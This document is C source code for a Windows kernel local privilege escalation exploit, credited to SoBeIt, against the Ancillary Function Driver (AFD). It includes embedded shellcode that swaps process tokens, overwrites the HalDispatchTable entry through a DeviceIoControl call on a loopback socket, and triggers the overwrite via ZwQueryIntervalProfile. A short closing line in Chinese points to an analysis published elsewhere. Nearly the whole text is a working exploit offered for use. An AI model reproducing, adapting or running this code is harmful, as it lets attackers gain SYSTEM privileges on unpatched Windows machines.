#i nclude <stdio.h> #i nclude <winsock2.h> #i nclude <windows.h>
#pragma comment(lib, "ws2_32.lib")
#define NTSTATUS int
typedef struct _PROCESS_BASIC_INFORMATION { NTSTATUS ExitStatus; PVOID PebBaseAddress; ULONG AffinityMask; ULONG BasePriority; ULONG UniqueProcessId; ULONG InheritedFromUniqueProcessId; } PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;
typedef struct _IMAGE_FIXUP_ENTRY { USHORT Offset:12; USHORT Type:4; } IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
typedef enum _PROCESS_IMFORMATION_CLASS { ProcessBasicInformation, ProcessQuotaLimits, ProcessIoCounters, ProcessVmCounters, ProcessTimes, ProcessBasePriority, ProcessRaisePriority, ProcessDebugPort, ProcessExceptionPort, ProcessAccessToken, ProcessLdtInformation, ProcessLdtSize, ProcessDeaultHardErrorMode, ProcessIoPortHandlers, ProcessPooledUsageAndLimits, ProcessWorkingSetWatch, ProcessUserModeIOPL, ProcessEnableAlignmentFaultFixup, ProcessPriorityClass, ProcessWx86Information, ProcessHandleCount, ProcessAffinityMask, ProcessPriorityBoost, ProcessDeviceMap, ProcessSessionInformation, ProcessForegroundInformation, ProcessWow64Information } PROCESS_INFORMATION_CLASS;
typedef enum _SYSTEM_INFORMATION_CLASS { SystemBasicInformation, SystemProcessorInformation, SystemPerformanceInformation, SystemTimeOfDayInformation, SystemNotImplemented1, SystemProcessesAndThreadsInformation, SystemCallCounts, SystemConfigurationInformation, SystemProcessorTimes, SystemGlobalFlag, SystemNotImplemented2, SystemModuleInformation, SystemLockInformation, SystemNotImplemented3, SystemNotImplemented4, SystemNotImplemented5, SystemHandleInformation, SystemObjectInformation, SystemPagefileInformation, SystemInstructioEmulationCounts, SystemInvalidInfoClass1, SystemCacheInformation, SystemPoolTagInformation, SystemProcessorStatistics, SystemDpcInformation, SystemNotImplemented6, SystemLoadImage, SystemUnloadImage, SystemTimeAdjustment, SystemNotImplemented7, SystemNotImplemented8, SystemNotImplemented9, SystemCrashDumpInformation, SystemExceptionInformation, SystemCrashDumpStateInformation, SystemKernelDebuggerInformation, SystemContextSwitchInformation, SystemRegisterQuotaInformation, SystemLoadAndCallImage, SystemPrioritySeparation } SYSTEM_INFORMATION_CLASS;
typedef enum _KPROFILE_SOURCE { ProfileTime, ProfileAlignmentFixup, ProfileTotalIssues, ProfilePipelineDry, ProfileLoadInstructions, ProfilePipelineFrozen, ProfileBranchInstructions, ProfileTotalNonissues, ProfileDcacheMisses, ProfileIcacheMisses, ProfileCacheMisses, ProfileBranchMispredictions, ProfileStoreInstructions, ProfileFpInstructions, ProfileIntegerInstructions, Profile2Issue, Profile3Issue, Profile4Issue, ProfileSpecialInstructions, ProfileTotalCycles, ProfileIcacheIssues, ProfileDcacheAccesses, ProfileMemoryBarrierCycles, ProfileLoadLinkedIssues, ProfileMaximum } KPROFILE_SOURCE, *PKPROFILE_SOURCE;
typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING;
typedef struct _SECTION_BASIC_INFORMATION { PVOID BaseAddress; ULONG Attributes; LARGE_INTEGER Size; }SECTION_BASIC_INFORMATION, *PSECTION_BASIC_INFORMATION;
typedef struct _SYSTEM_MODULE_INFORMATION { ULONG Reserved[2]; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT Unknown; USHORT LoadCount; USHORT ModuleNameOffset; CHAR ImageName[256]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef NTSTATUS (NTAPI *ZWQUERYINTERNALPROFILE)(ULONG, PULONG); typedef NTSTATUS (NTAPI *ZWQUERYINFORMATIONPROCESS)(HANDLE, ULONG, PVOID, ULONG, PULONG); typedef NTSTATUS (NTAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG); typedef NTSTATUS (NTAPI *ZWALLOCATEVIRTUALMEMORY)(HANDLE, PVOID *, ULONG, PULONG, ULONG, ULONG); typedef PIMAGE_NT_HEADERS (NTAPI *RTLIMAGENTHEADER)(PVOID); typedef PVOID (NTAPI *RTLIMAGEDIRECTORYENTRYTODATA)(PVOID, ULONG, USHORT, PULONG);
ZWQUERYINTERNALPROFILE ZwQueryIntervalProfile; ZWQUERYINFORMATIONPROCESS ZwQueryInformationProcess; ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation; ZWALLOCATEVIRTUALMEMORY ZwAllocateVirtualMemory; RTLIMAGENTHEADER RtlImageNtHeader; RTLIMAGEDIRECTORYENTRYTODATA RtlImageDirectoryEntryToData;
unsigned char kfunctions[64][64] = { //ntoskrnl.exe {"ZwTerminateProcess"}, {"PsLookupProcessByProcessId"}, {""}, };
unsigned char shellcode[] = "\x90\x60\x9c\xe9\xc4\x00\x00\x00\x5f\x4f\x47\x66\x81\x3f\x90\xcc" "\x75\xf8\x66\x81\x7f\x02\xcc\x90\x75\xf0\x83\xc7\x04\x64\x8b\x35" "\x38\x00\x00\x00\xad\xad\x48\x81\x38\x4d\x5a\x90\x00\x75\xf7\x95" "\x8b\xf7\x6a\x02\x59\xe8\x4d\x00\x00\x00\xe2\xf9\x8b\x4e\x0c\xe8" "\x29\x00\x00\x00\x50\x8b\x4e\x08\xe8\x20\x00\x00\x00\x5a\x8b\x7e" "\x1c\x8b\x0c\x3a\x89\x0c\x38\x56\x8b\x7e\x14\x8b\x4e\x18\x8b\x76" "\x10\xf3\xa4\x5e\x33\xc0\x50\x50\xff\x16\x9d\x61\xc3\x83\xec\x04" "\x8d\x2c\x24\x55\x51\xff\x56\x04\x85\xc0\x0f\x85\x80\x8f\x00\x00" "\x8b\x45\x00\x83\xc4\x04\xc3\x51\x56\x8b\x75\x3c\x8b\x74\x2e\x78" "\x03\xf5\x56\x8b\x76\x20\x03\xf5\x33\xc9\x49\x41\xad\x03\xc5\x33" "\xdb\x0f\xbe\x10\x85\xd2\x74\x08\xc1\xcb\x07\x03\xda\x40\xeb\xf1" "\x3b\x1f\x75\xe7\x5e\x8b\x5e\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5e" "\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\xab\x5e\x59\xc3\xe8\x37\xff\xff" "\xff\x90\x90\x90"
"\x90\xcc\xcc\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xcc\x90\x90\xcc"; void ErrorQuit(pMsg) { printf("%sError Code:%d\n", pMsg, GetLastError()); ExitProcess(0); }
ULONG ComputeHash(char *ch) { ULONG ret = 0;
while(*ch) { ret = ((ret << 25) | (ret >> 7)) + *ch++; }
return ret; }
void GetFunction() { HANDLE hNtdll; hNtdll = LoadLibrary("ntdll.dll"); if(hNtdll == NULL) ErrorQuit("LoadLibrary failed.\n");
ZwQueryIntervalProfile = (ZWQUERYINTERNALPROFILE)GetProcAddress(hNtdll, "ZwQueryIntervalProfile"); if(ZwQueryIntervalProfile == NULL) ErrorQuit("GetProcAddress failed.\n"); ZwQueryInformationProcess = (ZWQUERYINFORMATIONPROCESS)GetProcAddress(hNtdll, "ZwQueryInformationProcess"); if(ZwQueryInformationProcess == NULL) ErrorQuit("GetProcAddress failed.\n"); ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll, "ZwQuerySystemInformation"); if(ZwQuerySystemInformation == NULL) ErrorQuit("GetProcessAddress failed.\n"); ZwAllocateVirtualMemory = (ZWALLOCATEVIRTUALMEMORY)GetProcAddress(hNtdll, "ZwAllocateVirtualMemory"); if(ZwAllocateVirtualMemory == NULL) ErrorQuit("GetProcAddress failed.\n");
RtlImageNtHeader = (RTLIMAGENTHEADER)GetProcAddress(hNtdll, "RtlImageNtHeader"); if(RtlImageNtHeader == NULL) ErrorQuit("GetProcAddress failed.\n"); RtlImageDirectoryEntryToData = (RTLIMAGEDIRECTORYENTRYTODATA)GetProcAddress(hNtdll, "RtlImageDirectoryEntryToData"); if(RtlImageDirectoryEntryToData == NULL) ErrorQuit("GetProcAddress failed.\n"); FreeLibrary(hNtdll); }
ULONG GetKernelBase(char *KernelName) { ULONG i, Byte, ModuleCount, KernelBase; PVOID pBuffer; PSYSTEM_MODULE_INFORMATION pSystemModuleInformation; PCHAR pName; ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte); if((pBuffer = malloc(Byte)) == NULL) ErrorQuit("malloc failed.\n"); if(ZwQuerySystemInformation(SystemModuleInformation, pBuffer, Byte, &Byte)) ErrorQuit("ZwQuerySystemInformation failed\n"); ModuleCount = *(PULONG)pBuffer; pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)((PUCHAR)pBuffer + sizeof(ULONG)); for(i = 0; i < ModuleCount; i++) { if((pName = strstr(pSystemModuleInformation->ImageName, "ntoskrnl.exe")) != NULL) { KernelBase = (ULONG)pSystemModuleInformation->Base; printf("Kernel is %s\n", pSystemModuleInformation->ImageName); free(pBuffer); strcpy(KernelName, "ntoskrnl.exe"); return KernelBase; } if((pName = strstr(pSystemModuleInformation->ImageName, "ntkrnlpa.exe")) != NULL) { KernelBase = (ULONG)pSystemModuleInformation->Base; printf("Kernel is %s\n", pSystemModuleInformation->ImageName); free(pBuffer); strcpy(KernelName, "ntkrnlpa.exe"); return KernelBase; } pSystemModuleInformation++; } free(pBuffer); return 0; }
ULONG GetServiceTable(PVOID pImageBase, ULONG Address) { PIMAGE_NT_HEADERS pNtHeaders; PIMAGE_BASE_RELOCATION pBaseRelocation; PIMAGE_FIXUP_ENTRY pFixupEntry; ULONG RelocationTableSize = 0; ULONG Offset, i, VirtualAddress, Rva;
Offset = Address - (ULONG)pImageBase; pNtHeaders = (PIMAGE_NT_HEADERS)RtlImageNtHeader(pImageBase); pBaseRelocation = (PIMAGE_BASE_RELOCATION)RtlImageDirectoryEntryToData(pImageBase, TRUE, IMAGE_DIRECTORY_ENTRY_BASERELOC, &RelocationTableSize); if(pBaseRelocation == NULL) return 0; do { pFixupEntry = (PIMAGE_FIXUP_ENTRY)((ULONG)pBaseRelocation + sizeof(IMAGE_BASE_RELOCATION)); RelocationTableSize = (pBaseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) >> 1; for(i = 0; i < RelocationTableSize; i++, pFixupEntry++) { if(pFixupEntry->Type == IMAGE_REL_BASED_HIGHLOW) { VirtualAddress = pBaseRelocation->VirtualAddress + pFixupEntry->Offset; Rva = *(PULONG)((ULONG)pImageBase + VirtualAddress) - (ULONG)pNtHeaders->OptionalHeader.ImageBase; if(Rva == Offset) { if (*(PUSHORT)((ULONG)pImageBase + VirtualAddress - 2) == 0x05c7) return *(PULONG)((ULONG)pImageBase + VirtualAddress + 4) - pNtHeaders->OptionalHeader.ImageBase; } } }
*(PULONG)&pBaseRelocation += pBaseRelocation->SizeOfBlock; } while(pBaseRelocation->VirtualAddress);
return 0; }
int main(int argc, char* argv[]) { PVOID pDrivers[256]; PVOID pOldKernelInfo, pMapAddress = NULL; PULONG pStoreBuffer, pShellcode, pFakeKernelInfo; PUCHAR pRestoreBuffer, pBase, FunctionAddress; PROCESS_BASIC_INFORMATION pbi; SYSTEM_MODULE_INFORMATION smi; SECTION_BASIC_INFORMATION sbi; KPROFILE_SOURCE ProfileSource; OSVERSIONINFO ovi; char DriverName[256], KernelName[64]; ULONG Byte, len, i, j, k, BaseAddress, Value, KernelBase, buf[64]; ULONG HookAddress, SystemId, TokenOffset, Sections, Pid, FunctionNumber; ULONG HDTOffset, AllocationSize; ULONG Result; HANDLE hKernel; WSADATA wsad; int sockfd; struct sockaddr_in saddr;
printf("\n MS08-0xx Windows Kernel Ancillary Function Driver Local Privilege Escalation Vulnerability Exploit \n\n"); printf("\t Create by SoBeIt. \n\n"); if(argc != 1) { printf(" Usage:%s\n\n", argv[0]); return 1; } pFakeKernelInfo = (PULONG)malloc(256); GetFunction();
if(ZwQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) ErrorQuit("ZwQueryInformationProcess failed\n");
KernelBase = GetKernelBase(KernelName); if(!KernelBase) ErrorQuit("Unable to get kernel base address.\n"); printf("Kernel base address: %x\n", KernelBase); ovi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); if(!GetVersionEx(&ovi)) ErrorQuit("GetVersionEx failed.\n"); if(ovi.dwMajorVersion != 5 && ovi.dwMajorVersion != 6) ErrorQuit("Not Windows NT family OS.\n"); printf("Major Version:%d Minor Version:%d\n", ovi.dwMajorVersion, ovi.dwMinorVersion); switch(ovi.dwMinorVersion) { case 0: //Windows2000 SystemId = 8; TokenOffset = 0x12c; break; case 1: //WindowsXP SystemId = 4; TokenOffset = 0xc8; break; case 2: //Windows2003 SystemId = 4; TokenOffset = 0xd8; break; default: SystemId = 4; TokenOffset = 0xc8; } hKernel = LoadLibrary(KernelName); if(hKernel == NULL) ErrorQuit("LoadLibrary failed.\n");
printf("Load Base:%x\n", (ULONG)hKernel); HDTOffset = (ULONG)GetProcAddress(hKernel, "HalDispatchTable"); HDTOffset += KernelBase - (ULONG)hKernel; printf("HalDispatchTable Offset:%x\n", HDTOffset); HookAddress = (ULONG)(HDTOffset + 4); printf("NtQueryIntervalProfile function entry address:%x\n", HookAddress); AllocationSize = 0x1000; pStoreBuffer = (PULONG)0x7fb0; if(ZwAllocateVirtualMemory((HANDLE)0xffffffff, &pStoreBuffer, 0, &AllocationSize, MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE)) ErrorQuit("ZwAllocateVirtualMemory failed.\n"); pRestoreBuffer = malloc(0x100);
memset(pStoreBuffer, 0x90, AllocationSize); pShellcode = (PULONG)shellcode; for(k = 0; pShellcode[k++] != 0x90cccc90; ) ;
for(j = 0; kfunctions[j][0] != '\x0'; j++) buf[j] = ComputeHash(kfunctions[j]);
buf[j++] = pbi.InheritedFromUniqueProcessId; buf[j++] = SystemId; buf[j++] = (ULONG)pRestoreBuffer; buf[j++] = HookAddress; buf[j++] = 0x04; buf[j++] = TokenOffset; memcpy((char *)(pShellcode + k), (char *)buf, j * 4); memcpy((PUCHAR)0x8000, shellcode, sizeof(shellcode) - 1);
if(WSAStartup(MAKEWORD(2, 2), &wsad) != 0) ErrorQuit("WSAStartup failed.\n");
if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) ErrorQuit("socket failed.\n");
saddr.sin_family = AF_INET; saddr.sin_port = htons(0x1bd); saddr.sin_addr.s_addr = 0x100007f; if(connect(sockfd, (struct sockaddr *)&saddr, sizeof(struct sockaddr))) ErrorQuit("connect failed.\n"); DeviceIoControl((HANDLE)sockfd, 0x1203F, NULL, 0, (PVOID)(HookAddress - 3), 0, &Result, NULL); ProfileSource = ProfileTotalIssues; ZwQueryIntervalProfile(ProfileSource, &Result);
printf("Exploit finished.\n"); return 1; }
分析的文章shadow3也写了,我就不废话了。。。 效果图:

|